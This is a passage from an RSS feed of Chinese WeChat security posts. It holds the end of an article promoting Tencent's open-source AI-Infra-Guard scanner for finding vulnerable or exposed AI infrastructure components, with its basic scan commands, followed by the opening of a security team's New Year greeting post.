baseline;"><span leaf="">由于漏洞修复缓慢，ComfyUI最新版本目前仍然存在漏洞，不建议将其暴露公网使用</span></span><span style="color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 0pt;"><span leaf="">。</span></span></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 0pt;"><span leaf=""><br/></span></span></p><section powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 15px;letter-spacing: 0.578px;white-space: normal;outline: 0px;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;transform: translate3d(-2px, 0px, 0px);visibility: visible;"><section style="outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;background-color: rgb(0, 82, 217);border-width: 0px;visibility: visible;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: -5px;outline: 0px;transform: translate3d(5px, 0px, 0px);visibility: visible;"><section style="padding-right: 8px;padding-left: 8px;outline: 0px;display: inline-block;min-width: 10%;vertical-align: top;border-style: solid;border-width: 8px 1px 1px;border-color: rgb(185, 227, 249);background-color: rgb(255, 255, 255);visibility: visible;"><section powered-by="xiumi.us" style="padding-right: 8px;padding-left: 8px;outline: 0px;color: rgb(28, 85, 209);font-size: 14px;text-align: justify;visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;caret-color: rgb(0, 0, 0);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;"><span leaf="">四、AI-Infra-Guard: AI风险一键检测与防范</span></span></strong></p></section></section></section></section></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">在过去一年中，朱雀蓝军围绕混元大模型安全开展了深入研究和实践，逐步落地了一套大模型软件供应链安全解决方案。该项目拥有轻量、快速、无害发现AI安全威胁的能力， 利用大模型进行漏洞采集，已经帮助收敛了多处“开源软件供应链漏洞导致混元数据泄露”的风险盲点，验证了利用大模型赋能安全的应用潜力。</span></span><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">一个日常场景：</span></span><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">安全团队：&#34;求求你们先把ollama的鉴权打开&#34;</span></span><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">算法团队：&#34;可是文档没说需要安全配置啊...&#34;</span></span><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 2em;line-height: 1.6em;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">运维团队：&#34;这框架我都没听说过，怎么扫描？&#34;</span></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;text-indent: 0em;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 0pt;text-indent: 2em;"><span leaf="">也正是这些痛点，催生了AI-Infra-Guard的诞生。</span></span></section><section powered-by="xiumi.us" style="margin-top: 15px;margin-bottom: 10px;white-space: normal;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;display: flex;flex-flow: row;text-align: left;justify-content: flex-start;visibility: visible;"><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 0%;height: auto;visibility: visible;"><section powered-by="xiumi.us" style="margin-top: -8px;outline: 0px;text-align: center;font-size: 0px;transform: translate3d(6px, 0px, 0px);visibility: visible;"><section style="outline: 0px;display: inline-block;width: 14px;height: 24px;vertical-align: top;overflow: hidden;background-color: rgb(0, 82, 217);box-shadow: rgb(255, 255, 255) 0px 0px 0px;border-style: solid;border-width: 3px;border-color: rgb(255, 255, 255);visibility: visible;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;vertical-align: top;visibility: visible;"></svg></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;visibility: visible;"><section powered-by="xiumi.us" style="outline: 0px;transform: translate3d(4px, 0px, 0px);visibility: visible;"><section style="padding-right: 17px;padding-left: 17px;outline: 0px;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;line-height: 2;text-align: justify;visibility: visible;"><p style="outline: 0px;visibility: visible;"><span style="font-size: 16px;"><strong style="outline: 0px;visibility: visible;"><span leaf="">AI-Infra-Guard是什么</span></strong></span></p></section></section></section></section><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">AI Infra Guard(AI Infrastructure Guard) 是一个高效、轻量、易用的AI基础设施安全评估工具，专为发现和检测AI系统潜在安全风险而设计。目前已经支持检测30种AI组件、不仅支持常见的AI应用dify、comfyui、openwebui，也支持像ragflow、langchain、llama-factory等开发训练框架的漏洞检测。</span></span><o:p></o:p></span></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><o:p></o:p></span></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">1）通过大模型自动积累漏洞规则</span></span><span style="font-size: 14px;"><o:p></o:p></span></p><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">为了解决海量AI组件CVE漏洞规则的人工分析成本，我们实现了用大模型自动将历史漏洞收集的方案，传统方式中可能需要人工分析CVE描述 → 写正则匹配规则（耗时3h/漏洞），现在利用混元大模型，自动同步CVE+大模型自动解析 -&gt; 生成漏洞检测逻辑只需要30s。也实现了对AI组件相关漏洞的实时监控：</span></span></p><section style="text-align: center;margin-top: 0px;margin-bottom: 0px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723213" data-ratio="0.4564814814814815" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=de118afc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMTXv54evW3d1a6vuicC4IiabXcvJRtZ4maMqF797jIHvy7OLnrTtxzdSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-weight: bold;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 16px;"><span leaf="">2）使用友好</span></span></p><p style="margin: 3pt 0pt 3pt 16.8pt;font-family: 等线;font-size: 12pt;text-indent: -16.8pt;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">· 零依赖，开箱即用，二进制文件仅8MB</span></span><o:p></o:p></p><p style="margin: 3pt 0pt 3pt 16.8pt;font-family: 等线;font-size: 12pt;text-indent: -16.8pt;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">· 内存占用＜50MB，扫完千节点集群不卡顿</span></span><o:p></o:p></p><p style="margin: 3pt 0pt 3pt 16.8pt;font-family: 等线;font-size: 12pt;text-indent: -16.8pt;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">· 跨平台兼容，同时支持Windows/MacOS/Linux</span></span></p><section powered-by="xiumi.us" style="margin-top: 15px;margin-bottom: 10px;white-space: normal;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;display: flex;flex-flow: row;text-align: left;justify-content: flex-start;visibility: visible;"><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 0%;height: auto;visibility: visible;"><section powered-by="xiumi.us" style="margin-top: -8px;outline: 0px;text-align: center;font-size: 0px;transform: translate3d(6px, 0px, 0px);visibility: visible;"><section style="outline: 0px;display: inline-block;width: 14px;height: 24px;vertical-align: top;overflow: hidden;background-color: rgb(0, 82, 217);box-shadow: rgb(255, 255, 255) 0px 0px 0px;border-style: solid;border-width: 3px;border-color: rgb(255, 255, 255);visibility: visible;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;vertical-align: top;visibility: visible;"></svg></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;visibility: visible;"><section powered-by="xiumi.us" style="outline: 0px;transform: translate3d(4px, 0px, 0px);visibility: visible;"><section style="padding-right: 17px;padding-left: 17px;outline: 0px;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;line-height: 2;text-align: justify;visibility: visible;"><p style="outline: 0px;visibility: visible;"><span style="font-size: 16px;"><strong><span leaf="">使用</span></strong></span></p></section></section></section></section><p style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">Al-Infra-Guard 已在GitHub开源，目前已收录30+AI应用指纹，200+安全漏洞数据库，且已包含腾讯朱雀实验室独家发现的英伟达Triton，Pytorch，ComfyUI与Ray等知名AI组件漏洞。</span></span></p><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">对于个人用户，想检测自己本地AI组件应用，可以执行如下命令一键检测</span></span><o:p></o:p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__plaintext">./ai-infra-guard -localscan</span></span></code></pre></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;"><span data-font-family="default" style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">将对本地开放端口进行检查和识别，给出安全建议。</span></span><o:p></o:p></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">如上文中使用了包含漏洞的ollama版本，一键检测后提示如下：</span></span><o:p></o:p></section><section style="text-align: center;margin-bottom: 0px;margin-top: 0px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723214" data-ratio="0.5074074074074074" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=27446f58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMpTarZjD6TqexrjnFfPPkddNJA4NvQsm5iajutlmxDMwfkadtzDLaAcA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-right: 0pt;margin-left: 0pt;letter-spacing: 0.578px;white-space: normal;font-family: 等线;font-size: 12pt;line-height: 1.6em;margin-bottom: 0px;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;display: none;line-height: 0px;"><span leaf="">‍</span></span></section><p style="margin: 4pt 0pt;font-family: 等线;font-size: 12pt;line-height: 1.33;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">如果在检测到AI服务在公网开放，也会提示</span></span><o:p></o:p></p><section style="text-align: center;margin-bottom: 0px;margin-top: 0px;" nodeleaf=""><img data-imgfileid="503723215" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.14722222222222223" data-s="300,640" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4ec0657c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JMbg9ubmBQvyIx9JcEmNcGN5TO7TSgyMZokKH7v0UwxrAyxZo6J2yqIg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf="">对于开发者/运维，想检测部署AI服务的安全性，执行命令</span></span><o:p></o:p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span leaf=""><span class="code-snippet__plaintext">单个目标</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">./ai-infra-guard -target [</span><span class="code-snippet__variable">IP</span><span class="code-snippet__symbol">:PORT/</span><span class="code-snippet__plaintext">域名] </span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">多个目标</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">./ai-infra-guard -target [</span><span class="code-snippet__variable">IP</span><span class="code-snippet__symbol">:PORT/</span><span class="code-snippet__plaintext">域名] -target [</span><span class="code-snippet__variable">IP</span><span class="code-snippet__symbol">:PORT/</span><span class="code-snippet__plaintext">域名]</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__comment"># 扫描网段寻找AI服务  </span></span></code><code><span leaf=""><span class="code-snippet__plaintext">./ai-infra-guard -target 192.168.1.0/24</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext"># 从文件读取目标扫描</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">./ai-infra-guard -file target.txt</span></span></code></pre></section><section style="text-align: center;margin-bottom: 0px;margin-top: 0px;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="503723216" data-ratio="1.1407407407407408" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=df87f280&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJMH1pEQ7qP5zBOhplgtLPSeLtib6pe2JM4O3FSZLtakrRGEGEsIKEc87Cwria3cIx98CIicnDhnAGBBBYKkfVzulQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section powered-by="xiumi.us" style="margin-top: 15px;margin-bottom: 10px;white-space: normal;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;display: flex;flex-flow: row;text-align: left;justify-content: flex-start;visibility: visible;"><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 0%;height: auto;visibility: visible;"><section powered-by="xiumi.us" style="margin-top: -8px;outline: 0px;text-align: center;font-size: 0px;transform: translate3d(6px, 0px, 0px);visibility: visible;"><section style="outline: 0px;display: inline-block;width: 14px;height: 24px;vertical-align: top;overflow: hidden;background-color: rgb(0, 82, 217);box-shadow: rgb(255, 255, 255) 0px 0px 0px;border-style: solid;border-width: 3px;border-color: rgb(255, 255, 255);visibility: visible;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;vertical-align: top;visibility: visible;"></svg></section></section></section><section style="outline: 0px;display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;visibility: visible;"><section powered-by="xiumi.us" style="outline: 0px;transform: translate3d(4px, 0px, 0px);visibility: visible;"><section style="padding-right: 17px;padding-left: 17px;outline: 0px;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;line-height: 2;text-align: justify;visibility: visible;"><p style="outline: 0px;visibility: visible;"><span style="font-size: 16px;"><strong><span leaf="">获取地址</span></strong></span></p></section></section></section></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;font-size: 14px;"><span leaf=""><span textstyle="" style="font-weight: bold;">开源地址：<a href="https://github.com/Tencent/AI-Infra-Guard/" target="_blank">https://github.com/Tencent/AI-Infra-Guard/</a></span></span></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">下载地址（根据系统下载自己系统的版本）：</span></span><span style="letter-spacing: 0pt;vertical-align: baseline;"><span leaf=""><a href="https://github.com/Tencent/AI-Infra-Guard/releases" target="_blank">https://github.com/Tencent/AI-Infra-Guard/releases</a></span></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="letter-spacing: 0pt;vertical-align: baseline;"><span leaf=""><br/></span></span></section><section style="margin: 0px 0pt;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><o:p></o:p></section><section style="margin-right: 0pt;margin-bottom: 0px;margin-left: 0pt;letter-spacing: 0.578px;white-space: normal;font-family: 等线;font-size: 12pt;line-height: 1.6em;"><span style="font-size: 14px;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;display: none;line-height: 0px;"><span leaf=""><br/></span><span leaf="">‍</span></span></section><p style="margin: 3pt 0pt;font-family: 等线;font-size: 12pt;line-height: 1.3;"><span data-font-family="default" style="font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;"><span leaf="">欢迎大家Star、体验并反馈工具的任何问题！</span></span></p><p style="margin: 4pt 0pt;font-family: 等线;font-size: 12pt;line-height: 1.33;"><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485650">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b781074d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485650%26idx%3D1%26sn%3De20f3b5b3a27549b0f3549d813888c73%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Feb 2025 10:46:00 +0800</pubDate>
    </item>
    <item>
      <title>红包来袭~渊龙Sec安全团队给您拜年啦！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485646&amp;idx=1&amp;sn=3d22f63d3e8153286e1ae1195bcac411</link>
      <description>发红包啦，冲冲冲！不知不觉中又过了一年，快来看看这一年团队收获了什么~</description>
      <content:encoded><![CDATA[<p>
原创 <span>渊龙Sec安全团队</span> <span>2025-01-28 17:37</span> <span style="display: inline-block;">浙江</span>
</p>

<p>发红包啦，冲冲冲！不知不觉中又过了一年，快来看看这一年团队收获了什么~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fbfc53ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPGcm1KycaiaUplyiapAwfNzZUm9pyInicHtAU92MyoyoicjZdxzoQz0ArEQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" data-tplid="154809" style="background-size: contain;background-repeat: repeat;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPm2ZT6ic7MePrJQjGs5Tiag5UFQibicfHOWksRlKCBsDV84uFTnDZ2uj9vw/640?wx_fmt=png&amp;from=appmsg&#34;);background-position: center center;"><section data-tools="135编辑器" data-id="105041"><section data-role="absolute-layout" data-mode="svg" data-width="375" data-height="666" data-ratio="1.776" style="font-size: 16px;overflow: hidden;grid-template-rows: 100%;grid-template-columns: 100%;display: grid;width: 100%;"><section data-role="ratio" style="grid-row-start: 1;grid-column-start: 1;height: 100%;line-height: 0;"><svg viewBox="0 0 375 666" style="pointer-events: none;display: inline-block;width: 100%;-webkit-tap-highlight-color: transparent;user-select: none;"></svg></section><section data-role="block" style="width: 100%;margin-top: 0%;margin-left: 0%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;transform: scale(1);"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 375 666"><foreignObject data-role="block-content" height="100%" width="100%"><img class="rich_pages wxw-img" data-imgfileid="100001970" data-ratio="1.7775" style="overflow: hidden;width: 100%;vertical-align: baseline;" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=1e0fd50a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPkHX2XcBrJICgL4iaLgI8ZxuHlk6aZreAdUmFMJ9cJQ709QfbY3hwfibQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></foreignObject></svg></section><section data-role="block" style="width: 31%;margin-top: 87.2%;margin-left: 67.4667%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 19.84px;transform: scale(1);max-width: 31% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 116 170"><foreignObject data-role="block-content" height="100%" width="100%"><section style="margin-right: auto;margin-left: auto;overflow: hidden;padding-top: 0.625em;padding-bottom: 0.625em;display: flex;justify-content: center;"><section style="width: 5.625em;"><img data-imgfileid="100001969" data-ratio="1.3053892215568863" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="167" src="https://wechat2rss.xlab.app/img-proxy/?k=65ac64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPI16HjAIpIgOvvlt3bic7Mnd0ncwaZ4QkqouENWQs5UL9rrrflBkdZBw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></foreignObject></svg></section><section data-role="block" style="width: 35%;margin-top: 112.267%;margin-left: -1.33333%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 21.1613px;transform: scale(1);max-width: 35% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 131 182"><foreignObject data-role="block-content" height="100%" width="100%"><section style="margin-right: auto;margin-left: auto;overflow: hidden;padding-top: 0.625em;padding-bottom: 0.625em;display: flex;justify-content: center;"><section style="width: 5.625em;"><img data-imgfileid="100001967" data-ratio="1.3053892215568863" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="167" src="https://wechat2rss.xlab.app/img-proxy/?k=65ac64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPI16HjAIpIgOvvlt3bic7Mnd0ncwaZ4QkqouENWQs5UL9rrrflBkdZBw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></foreignObject></svg></section><section data-role="block" style="width: 31%;margin-top: 32.5333%;margin-left: 12.2667%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 19.84px;transform: scale(1);max-width: 31% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 116 170"><foreignObject data-role="block-content" height="100%" width="100%"><section style="margin-right: auto;margin-left: auto;overflow: hidden;padding-top: 0.625em;padding-bottom: 0.625em;display: flex;justify-content: center;"><section style="width: 5.625em;"><img data-imgfileid="100001966" data-ratio="1.3053892215568863" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="167" src="https://wechat2rss.xlab.app/img-proxy/?k=65ac64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPI16HjAIpIgOvvlt3bic7Mnd0ncwaZ4QkqouENWQs5UL9rrrflBkdZBw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></foreignObject></svg></section><section data-role="block" style="width: 25%;margin-top: 5.33333%;margin-left: 55.3333%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 18.1818px;transform: scale(1);max-width: 25% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 94 145"><foreignObject data-role="block-content" height="100%" width="100%"><section style="margin-right: auto;margin-left: auto;overflow: hidden;padding-top: 0.625em;padding-bottom: 0.625em;display: flex;justify-content: center;"><section style="width: 5.625em;"><img class="rich_pages wxw-img" data-imgfileid="100001968" data-ratio="1.3053892215568863" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="167" src="https://wechat2rss.xlab.app/img-proxy/?k=65ac64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPI16HjAIpIgOvvlt3bic7Mnd0ncwaZ4QkqouENWQs5UL9rrrflBkdZBw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></foreignObject></svg></section><section data-role="block" style="width: 100%;margin-top: 34.6667%;margin-left: 0%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 26.6667px;transform: scale(1);"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 375 451"><foreignObject data-role="block-content" height="100%" width="100%"><img class="rich_pages wxw-img" data-imgfileid="100001975" data-ratio="1.2025" style="overflow: hidden;width: 100%;vertical-align: baseline;" data-type="gif" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=93167058&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPrPjz4mC9XmO5Tvdxlb7naRhaTfrlibRRRiaKqkRMJNcDUMB4MNdRia0nA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></foreignObject></svg></section><section data-role="block" style="width: 24%;margin-top: 8.53333%;margin-left: 70.9333%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;transform: scale(1);max-width: 24% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 90 63"><foreignObject data-role="block-content" height="100%" width="100%"><section style="overflow: hidden;"><section align="right" style="line-height: 1.75;text-align: right;letter-spacing: 0.083em;font-size: 0.75em;color: #fbe7bd;" data-autoskip="1"><p><strong>渊龙Sec安全团队祝各位师傅新年快乐！</strong></p></section></section></foreignObject></svg></section><section data-role="block" style="width: 54%;margin-top: 152%;margin-left: 22.9333%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;transform: scale(1);max-width: 54% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 203 33"><foreignObject data-role="block-content" height="100%" width="100%"><section style="overflow: hidden;"><section style="text-align: center;letter-spacing: 0.042em;color: #fbe7bd;"><span style="font-size: 1.25em;letter-spacing: 0.042em;"><strong data-brushtype="text">祥蛇献瑞 巳巳如意</strong></span></section></section></foreignObject></svg></section><section 